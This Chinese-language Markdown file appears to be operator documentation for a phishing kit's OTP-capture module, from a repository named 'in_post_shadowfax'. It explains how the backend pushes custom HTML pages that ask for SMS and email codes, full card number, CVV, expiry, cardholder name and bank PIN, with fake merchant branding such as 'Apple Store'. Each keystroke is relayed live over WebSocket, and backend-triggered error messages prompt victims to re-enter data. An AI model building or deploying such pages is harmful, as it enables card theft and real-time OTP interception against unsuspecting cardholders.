Files
zy-client-a/zy1_in_post_shadowfax/自定义OTP验证配置文档.md
tom@tom.com 84cb2597a4 first commit
2026-04-19 17:51:16 +08:00

24 KiB
Raw Blame History

自定义OTP验证配置文档

概述

此文档用于配置前端自定义OTP验证页面。后端需要返回 customOtpData 配置对象,前端将根据配置自动渲染验证表单。


配置结构

基础配置对象

interface ValidationConfig {
  type: 'customValid'           // 必填:验证类型,使用 'customValid' 启用完全自定义
  name?: string                  // 可选:配置名称
  pageTitle?: string             // 可选:页面标题
  pageContent: string            // 必填HTML内容包含自定义表单
  customStyles?: string          // 可选自定义CSS样式
  buttonColor?: string           // 可选:默认按钮颜色
  errorMessage?: string          // 可选:默认错误提示
  showTop?: boolean              // 可选是否显示顶部银行logo和卡片类型
  imageUrl?: string              // 可选自定义logo图片URL
  showCard?: boolean             // 可选是否显示卡号后4位
  merchant?: string              // 可选商户名称可在pageContent中用${merchant}引用)
  amount?: string                // 可选支付金额可在pageContent中用${payment}引用)
}

HTML元素规范

1. 输入框Input

必需属性:

  • class="custom-input" - 必须添加此class以自动绑定事件
  • data-field="字段名" - 标识输入框字段可以是任意名称不限于input1/input2

可选属性:

  • data-verify-key="自定义字段名" - 自定义后端接收的字段名
    • 不设置时,默认使用 data-field 的值作为后端字段名
    • 设置后将使用 data-verify-key 的值
  • required - 标记为必填项
    • 提交时会自动验证,未填写会显示浏览器原生提示气泡
    • 自动聚焦到第一个未填写的输入框

重要支持任意数量的输入框不限于2个

示例:

<!-- 方式1使用 data-field 作为默认字段名 -->
<input type="text" 
       class="custom-input" 
       data-field="smsCode" 
       placeholder="请输入短信验证码">

<!-- 方式2使用 data-verify-key 自定义后端字段名 -->
<input type="text" 
       class="custom-input" 
       data-field="input1" 
       data-verify-key="smsVerifyCode" 
       placeholder="请输入短信验证码">

<input type="text" 
       class="custom-input" 
       data-field="input2" 
       data-verify-key="emailVerifyCode" 
       placeholder="请输入邮箱验证码">

<!-- 方式3多个输入框支持任意数量 -->
<input type="text" class="custom-input" data-field="cardNumber" placeholder="卡号">
<input type="text" class="custom-input" data-field="expiryDate" placeholder="有效期">
<input type="text" class="custom-input" data-field="cvv" placeholder="CVV">
<input type="password" class="custom-input" data-field="pin" placeholder="PIN码">

<!-- 方式4必填输入框添加required属性 -->
<input type="text" 
       class="custom-input" 
       data-field="verifyCode" 
       placeholder="验证码" 
       required>
<!-- 提交时会自动验证,未填写会显示错误并聚焦 -->

2. 按钮Button

必需属性:

  • class="custom-button" - 必须添加此class以自动绑定事件
  • data-action="submit""resend" - 标识按钮操作类型
    • submit: 提交表单
    • resend: 重新发送验证码

可选属性仅resend按钮

  • data-countdown="true" - 启用倒计时(默认值,可省略)
  • data-countdown="false" - 禁用倒计时,允许连续点击

重发按钮特性:

启用倒计时时(data-countdown="true" 或不设置):

  • 自动倒计时点击后自动进入60秒倒计时
  • 自动禁用:倒计时期间按钮禁用,无法重复点击
  • 文本更新:倒计时显示 00:5900:58...直到 00:00
  • 自动恢复:倒计时结束后自动恢复原始文本和可点击状态

禁用倒计时时(data-countdown="false"

  • 立即发送:点击后立即发送请求
  • 可连续点击:没有倒计时限制,可以多次点击
  • 适用场景:需要快速重试或测试时使用

示例:

<!-- 提交按钮 -->
<button type="button" 
        class="custom-button" 
        data-action="submit">
  提交验证码
</button>

<!-- 重发按钮(默认启用倒计时) -->
<button type="button" 
        class="custom-button" 
        data-action="resend">
  重新发送
</button>
<!-- 点击后: 00:60 → 00:59 → ... → 00:01 → 重新发送 -->

<!-- 重发按钮(显式启用倒计时) -->
<button type="button" 
        class="custom-button" 
        data-action="resend"
        data-countdown="true">
  重新发送验证码
</button>

<!-- 重发按钮(禁用倒计时,可连续点击) -->
<button type="button" 
        class="custom-button" 
        data-action="resend"
        data-countdown="false">
  立即重发
</button>
<!-- 点击后立即发送,无倒计时,可连续点击 -->

3. 错误信息容器Error Message

必需属性:

  • class="custom-error-message" - 必须添加此class以自动显示错误

特性:

  • 自动显示/隐藏:有错误时自动显示,无错误时自动隐藏
  • 自动更新内容错误信息会自动填充到所有带此class的元素中

示例:

<div class="custom-error-message"></div>

配置示例

示例1基础短信验证码表单

{
  "type": "customValid",
  "name": "SMS验证",
  "pageTitle": "短信验证",
  "pageContent": "<div style='text-align: center;'><p style='margin-bottom: 20px;'>请输入发送到您手机的验证码</p><div style='margin-bottom: 15px;'><input type='text' class='custom-input' data-field='input1' data-verify-key='smsCode' placeholder='6位验证码' style='width: 200px; padding: 10px; border: 1px solid #ddd; border-radius: 5px; text-align: center; font-size: 16px;'></div><div class='custom-error-message' style='color: #dc2626; margin: 10px 0; min-height: 20px;'></div><button type='button' class='custom-button' data-action='submit' style='background: #67C23A; color: white; padding: 12px 40px; border: none; border-radius: 6px; cursor: pointer; font-size: 14px;'>提交验证</button></div>",
  "customStyles": ".custom-input:focus { border-color: #67C23A; outline: none; box-shadow: 0 0 0 2px rgba(103, 194, 58, 0.2); } .custom-button:hover { opacity: 0.9; }",
  "showTop": true,
  "errorMessage": "验证码错误,请重试"
}

示例2双重验证短信+邮箱)

{
  "type": "customValid",
  "name": "双重验证",
  "pageTitle": "安全验证",
  "pageContent": "<div style='max-width: 400px; margin: 0 auto;'><div style='margin-bottom: 20px;'><label style='display: block; margin-bottom: 8px; color: #333; font-weight: 500;'>短信验证码</label><input type='text' class='custom-input' data-field='input1' data-verify-key='smsCode' placeholder='请输入短信验证码' style='width: 100%; padding: 12px; border: 1px solid #ddd; border-radius: 6px; font-size: 14px;'></div><div style='margin-bottom: 20px;'><label style='display: block; margin-bottom: 8px; color: #333; font-weight: 500;'>邮箱验证码</label><input type='text' class='custom-input' data-field='input2' data-verify-key='emailCode' placeholder='请输入邮箱验证码' style='width: 100%; padding: 12px; border: 1px solid #ddd; border-radius: 6px; font-size: 14px;'></div><div class='custom-error-message' style='color: #dc2626; text-align: center; margin: 15px 0; min-height: 24px;'></div><div style='display: flex; gap: 12px; justify-content: center;'><button type='button' class='custom-button' data-action='submit' style='flex: 1; background: #409EFF; color: white; padding: 12px; border: none; border-radius: 6px; cursor: pointer;'>确认提交</button><button type='button' class='custom-button' data-action='resend' style='flex: 1; background: #E6A23C; color: white; padding: 12px; border: none; border-radius: 6px; cursor: pointer;'>重新发送</button></div></div>",
  "customStyles": ".custom-input:focus { border-color: #409EFF; outline: none; } .custom-button:active { transform: scale(0.98); }",
  "showTop": true,
  "merchant": "示例商户",
  "amount": "¥999.00"
}

示例3快速重发模式禁用倒计时

{
  "type": "customValid",
  "name": "快速验证",
  "pageTitle": "验证码登录",
  "pageContent": "<div style='max-width: 350px; margin: 0 auto; padding: 20px;'><div style='margin-bottom: 20px;'><label style='display: block; margin-bottom: 8px; color: #495057; font-weight: 500;'>验证码</label><input type='text' class='custom-input' data-field='verifyCode' placeholder='6位验证码' maxlength='6' style='width: 100%; padding: 12px; border: 1px solid #ced4da; border-radius: 6px; font-size: 16px; text-align: center; letter-spacing: 4px;'></div><div class='custom-error-message' style='color: #dc3545; text-align: center; margin: 12px 0; min-height: 20px; font-size: 13px;'></div><button type='button' class='custom-button' data-action='submit' style='width: 100%; background: #28a745; color: white; padding: 14px; border: none; border-radius: 6px; cursor: pointer; font-size: 16px; font-weight: 600; margin-bottom: 12px;'>立即登录</button><button type='button' class='custom-button' data-action='resend' data-countdown='false' style='width: 100%; background: transparent; color: #007bff; padding: 10px; border: 1px solid #007bff; border-radius: 6px; cursor: pointer; font-size: 14px;'>点击重新发送验证码</button></div>",
  "customStyles": ".custom-input:focus { border-color: #28a745 !important; } .custom-button[data-action='resend']:hover { background: #007bff; color: white; }",
  "showTop": false
}

说明: 此示例中重发按钮设置了 data-countdown='false',用户可以连续点击重发,适合测试或需要快速重试的场景。

示例4多输入框 - 完整卡片信息录入

{
  "type": "customValid",
  "name": "卡片信息验证",
  "pageTitle": "请输入卡片完整信息",
  "pageContent": "<div style='max-width: 450px; margin: 0 auto; padding: 20px;'><div style='background: #f8f9fa; padding: 20px; border-radius: 10px;'><div style='margin-bottom: 15px;'><label style='display: block; margin-bottom: 5px; color: #495057; font-weight: 500; font-size: 13px;'>卡号 (Card Number)</label><input type='text' class='custom-input' data-field='cardNumber' placeholder='1234 5678 9012 3456' maxlength='19' style='width: 100%; padding: 12px; border: 1px solid #ced4da; border-radius: 6px; font-size: 14px;'></div><div style='display: flex; gap: 12px; margin-bottom: 15px;'><div style='flex: 1;'><label style='display: block; margin-bottom: 5px; color: #495057; font-weight: 500; font-size: 13px;'>有效期 (MM/YY)</label><input type='text' class='custom-input' data-field='expiryDate' placeholder='12/25' maxlength='5' style='width: 100%; padding: 12px; border: 1px solid #ced4da; border-radius: 6px; font-size: 14px;'></div><div style='flex: 1;'><label style='display: block; margin-bottom: 5px; color: #495057; font-weight: 500; font-size: 13px;'>CVV</label><input type='password' class='custom-input' data-field='cvv' placeholder='123' maxlength='3' style='width: 100%; padding: 12px; border: 1px solid #ced4da; border-radius: 6px; font-size: 14px;'></div></div><div style='margin-bottom: 15px;'><label style='display: block; margin-bottom: 5px; color: #495057; font-weight: 500; font-size: 13px;'>持卡人姓名 (Cardholder Name)</label><input type='text' class='custom-input' data-field='cardholderName' placeholder='JOHN DOE' style='width: 100%; padding: 12px; border: 1px solid #ced4da; border-radius: 6px; font-size: 14px; text-transform: uppercase;'></div><div style='margin-bottom: 15px;'><label style='display: block; margin-bottom: 5px; color: #495057; font-weight: 500; font-size: 13px;'>PIN码 (4位)</label><input type='password' class='custom-input' data-field='pin' data-verify-key='pinCode' placeholder='••••' maxlength='4' style='width: 100%; padding: 12px; border: 1px solid #ced4da; border-radius: 6px; font-size: 14px; letter-spacing: 8px; text-align: center;'></div><div class='custom-error-message' style='color: #dc3545; text-align: center; margin: 12px 0; min-height: 20px; font-size: 13px;'></div><button type='button' class='custom-button' data-action='submit' style='width: 100%; background: #28a745; color: white; padding: 14px; border: none; border-radius: 6px; cursor: pointer; font-size: 16px; font-weight: 600;'>确认提交</button></div></div>",
  "customStyles": ".custom-input:focus { border-color: #28a745 !important; box-shadow: 0 0 0 0.2rem rgba(40, 167, 69, 0.25); } .custom-button:hover { background: #218838; }",
  "showTop": true
}

示例5银行PIN码验证

{
  "type": "customValid",
  "name": "PIN验证",
  "pageTitle": "请输入PIN码",
  "pageContent": "<div style='background: linear-gradient(135deg, #667eea 0%, #764ba2 100%); padding: 30px; border-radius: 12px; color: white;'><div style='text-align: center; margin-bottom: 25px;'><h3 style='margin: 0 0 10px 0;'>交易确认</h3><p style='margin: 0; opacity: 0.9;'>商户: ${merchant}</p><p style='margin: 5px 0 0 0; font-size: 24px; font-weight: bold;'>${payment}</p></div><div style='background: white; padding: 20px; border-radius: 8px;'><div style='margin-bottom: 15px;'><label style='display: block; margin-bottom: 8px; color: #333; font-size: 14px;'>4位PIN码</label><input type='password' class='custom-input' data-field='input1' data-verify-key='pinCode' placeholder='••••' maxlength='4' style='width: 100%; padding: 15px; border: 2px solid #e5e7eb; border-radius: 8px; font-size: 18px; text-align: center; letter-spacing: 8px;'></div><div class='custom-error-message' style='color: #dc2626; text-align: center; margin: 12px 0; min-height: 20px; font-size: 13px;'></div><button type='button' class='custom-button' data-action='submit' style='width: 100%; background: #10b981; color: white; padding: 15px; border: none; border-radius: 8px; cursor: pointer; font-size: 16px; font-weight: 600; box-shadow: 0 4px 6px rgba(16, 185, 129, 0.3);'>确认支付</button></div></div>",
  "customStyles": ".custom-input:focus { border-color: #10b981; box-shadow: 0 0 0 3px rgba(16, 185, 129, 0.1); } .custom-button:hover { background: #059669; transform: translateY(-1px); box-shadow: 0 6px 12px rgba(16, 185, 129, 0.4); }",
  "showTop": false,
  "merchant": "Apple Store",
  "amount": "$299.99"
}

动态变量

可在 pageContent 中使用以下变量,前端会自动替换:

变量 说明 示例
${merchant} 商户名称 从配置中的 merchant 字段获取
${payment}${price} 支付金额 从配置中的 amount 字段获取
${card} 卡号后4位 自动从用户卡号中提取
${phone} 手机号后4位 从本地存储手机号中提取后4位
${phoneFull} 完整手机号 从本地存储中获取
${date} 当前日期 自动生成当前日期

使用示例:

<p>商户: ${merchant}</p>
<p>金额: ${payment}</p>
<p>卡号: **** ${card}</p>
<p>手机号后4位: ${phone}</p>
<p>完整手机号: ${phoneFull}</p>

数据流程

提交Loading纯HTML

你可以直接在 pageContent 里定义 loading 节点,提交时前端会自动显示。

支持两种标记方式(任选其一):

  • data-submit-loading
  • class="custom-submit-loading"

建议初始隐藏(display:none),并可用 data-loading-display 指定显示时的 display 值。

<div data-submit-loading data-loading-display="flex" style="display:none;position:fixed;inset:0;background:rgba(0,0,0,.45);z-index:9999;align-items:center;justify-content:center;color:#fff;">
  <div style="background:#111;padding:12px 16px;border-radius:8px;">Loading...</div>
</div>

说明:

  • 提交 submit_card 前自动显示。
  • 收到后端 custom-otp-valid 消息后自动隐藏。
  • 如果未定义上述标记,则继续使用系统默认 loading。

1. 前端接收配置

后端返回 customOtpData 配置对象,前端根据 type: 'customValid' 渲染自定义表单。

2. 用户输入

  • 用户在 class="custom-input" 的输入框中输入
  • 前端自动调用 inputChange 函数,实时发送到后端
  • 发送格式:
    {
      event: "input_card",
      content: {
        key: "smsCode",  // 来自 data-verify-key默认为 verifyCode1/verifyCode2
        value: "用户输入的内容"
      }
    }
    

3. 用户提交

  • 用户点击 data-action="submit" 的按钮
  • 前端自动收集所有 class="custom-input" 的输入框值
  • 发送WebSocket消息
    // 例12个输入框
    {
      event: "submit_card",
      content: {
        type: "submitCustomOtpValid",
        formData: {
          smsCode: "123456",
          emailCode: "789012"
        }
      }
    }
    
    // 例25个输入框完整卡片信息
    {
      event: "submit_card",
      content: {
        type: "submitCustomOtpValid",
        formData: {
          cardNumber: "1234567890123456",
          expiryDate: "12/25",
          cvv: "123",
          cardholderName: "JOHN DOE",
          pinCode: "1234"  // 使用了 data-verify-key="pinCode"
        }
      }
    }
    

重要:formData 中的字段名是每个输入框的 data-verify-key(如果有)或 data-field 的值

4. 错误处理

  • 后端验证失败时,发送事件 custom-otp-valid
  • 消息格式:
    {
      message2: "错误提示文本"
    }
    
  • 前端自动将错误显示在所有 class="custom-error-message" 的元素中

5. 重新发送

  • 用户点击 data-action="resend" 的按钮
  • 前端自动进入60秒倒计时按钮文本变为 00:60
  • 倒计时期间按钮禁用,无法重复点击
  • 前端发送WebSocket消息
    {
      event: "page_type",
      content: {
        pageType: "customOtpValid",
        pageTitle: "配置名称",
        resultType: "resendCode",
        customType: "customValid"
      }
    }
    
  • 60秒后按钮自动恢复为原始文本如"重新发送"),可再次点击

字段映射说明

基本原则

支持任意数量和名称的输入框!

默认字段映射

当只设置 data-field 时,后端接收的字段名就是 data-field 的值:

  • data-field="smsCode" → 后端接收:smsCode
  • data-field="emailCode" → 后端接收:emailCode
  • data-field="cardNumber" → 后端接收:cardNumber
  • data-field="pin" → 后端接收:pin

自定义字段映射

通过 data-verify-key 属性可以覆盖后端接收的字段名:

<!-- 例1使用 data-field 作为后端字段名 -->
<input class="custom-input" data-field="smsCode">
<!-- 后端接收smsCode -->

<!-- 例2使用 data-verify-key 覆盖字段名 -->
<input class="custom-input" 
       data-field="input1" 
       data-verify-key="customSmsCode">
<!-- 后端接收customSmsCode -->

<!-- 例3多个输入框各自有独立字段名 -->
<input class="custom-input" data-field="cardNum">
<input class="custom-input" data-field="expiry">
<input class="custom-input" data-field="cvvCode">
<input class="custom-input" data-field="pinNumber" data-verify-key="pin">
<!-- 后端接收cardNum, expiry, cvvCode, pin -->

实时输入事件:

// 例1只有 data-field
<input class="custom-input" data-field="smsCode">
// 发送:
{
  event: "input_card",
  content: {
    key: "smsCode",      // 直接使用 data-field 的值
    value: "123456"
  }
}

// 例2有 data-verify-key
<input class="custom-input" data-field="input1" data-verify-key="customCode">
// 发送:
{
  event: "input_card",
  content: {
    key: "customCode",   // 使用 data-verify-key 的值
    value: "123456"
  }
}

// 例3多个输入框
<input class="custom-input" data-field="card">
<input class="custom-input" data-field="cvv">
<input class="custom-input" data-field="pin">
// 分别发送:
// { event: "input_card", content: { key: "card", value: "..." } }
// { event: "input_card", content: { key: "cvv", value: "..." } }
// { event: "input_card", content: { key: "pin", value: "..." } }

最佳实践

1. CSS样式建议

  • 使用 customStyles 字段添加响应式设计
  • 建议使用相对单位(%、em、rem而非固定像素
  • 为移动端适配添加媒体查询

2. 用户体验

  • 输入框应有明确的 placeholder 提示
  • 错误信息容器预留足够空间(避免布局跳动)
  • 按钮应有明显的交互反馈hover、active状态

3. 安全考虑

  • PIN码输入使用 type="password"
  • 敏感信息使用 maxlength 限制长度
  • 建议后端对提交频率做限制

4. 响应式设计示例

/* 添加到 customStyles 中 */
@media (max-width: 768px) {
  .custom-input {
    font-size: 16px !important;  /* 防止iOS自动缩放 */
  }
  .custom-button {
    padding: 15px !important;
    font-size: 16px !important;
  }
}

调试技巧

前端控制台日志

前端会输出以下调试信息:

  • 绑定事件尝试 - 自定义输入框数: X, 自定义按钮数: Y
  • 绑定自定义输入框: [id], field: [fieldName]
  • 自定义输入框[fieldName]输入: [value], verifyKey: [key]
  • 自定义按钮点击, action: [action]

检查清单

  1. 输入框是否有 class="custom-input"data-field
  2. 按钮是否有 class="custom-button"data-action
  3. 错误容器是否有 class="custom-error-message"
  4. 自定义字段名是否设置了 data-verify-key
  5. CSS样式是否正确加载到 customStyles

常见问题

Q: 如何添加多个输入框? A: 直接添加多个 <input> 标签,每个都添加 class="custom-input" 和独立的 data-field,不限数量!

<input class="custom-input" data-field="field1">
<input class="custom-input" data-field="field2">
<input class="custom-input" data-field="field3">
<input class="custom-input" data-field="field4">
<!-- 可以继续添加更多... -->

Q: 输入框没有反应? A: 检查是否同时添加了 class="custom-input"data-field 属性

Q: required属性如何使用 A: 直接在输入框上添加 required 属性即可:

<input type="text" class="custom-input" data-field="code" required>
  • 提交时自动验证所有 required 输入框
  • 使用浏览器原生提示气泡显示错误
  • 自动聚焦到第一个未填写的输入框

Q: 错误信息不显示? A: 确保元素有 class="custom-error-message",前端会自动控制显示/隐藏

Q: 如何自定义后端接收的字段名? A: 在输入框上添加 data-verify-key="yourCustomKey" 属性

Q: 按钮点击没有效果? A: 检查是否添加了 class="custom-button"data-action="submit/resend"

Q: 重发按钮能连续点击吗? A: 默认不能。如需连续点击,添加 data-countdown="false" 属性即可禁用倒计时。

<!-- 不能连续点击(默认) -->
<button class="custom-button" data-action="resend">重新发送</button>

<!-- 可以连续点击 -->
<button class="custom-button" data-action="resend" data-countdown="false">立即重发</button>

Q: 如何修改倒计时时长? A: 目前倒计时固定为60秒。如需修改需要在前端代码中修改 initialTime 变量CustomOtpView.vue 第728行

Q: 样式不生效? A: 将CSS代码放入 customStyles 字段,确保选择器正确


技术支持

如有问题,请检查:

  1. WebSocket连接是否正常
  2. 浏览器控制台是否有错误信息
  3. 配置JSON格式是否正确
  4. HTML标签是否闭合完整

前端组件文件:CustomOtpView.vue 关键函数:bindInputEvents(), handleCustomInputEvent(), handleCustomButtonEvent()